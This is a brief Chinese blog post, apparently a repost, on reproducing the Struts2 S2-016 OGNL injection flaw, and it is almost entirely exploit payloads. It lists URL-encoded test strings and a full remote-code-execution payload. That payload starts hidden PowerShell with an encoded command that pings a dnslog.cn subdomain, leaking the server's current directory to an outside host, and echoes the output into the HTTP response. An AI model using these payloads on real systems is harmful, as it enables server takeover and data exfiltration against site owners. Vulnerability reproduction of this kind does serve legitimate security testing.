S2-016复现

测试POC字典：

redirect:%25{3*4}
redirect%3A%24%7B3%2A4%7D
action%3A%24%7B3%2A4%7D

执行命令：

# 进行url编码
redirect:${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"powershell.exe","-NonI","-W","Hidden","-NoP","-Exec","Bypass","-Enc","cABpAG4AZwAgAC0AbgAgADEAIAAlAEMARAAlAC4AMgBhAG8AOQBlAHMALgBkAG4AcwBsAG8AZwAuAGMAbgA="}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

标签：redirect,7D,java,io,S2,screen,复现,016,new
来源： https://www.cnblogs.com/chy4412312/p/14163305.html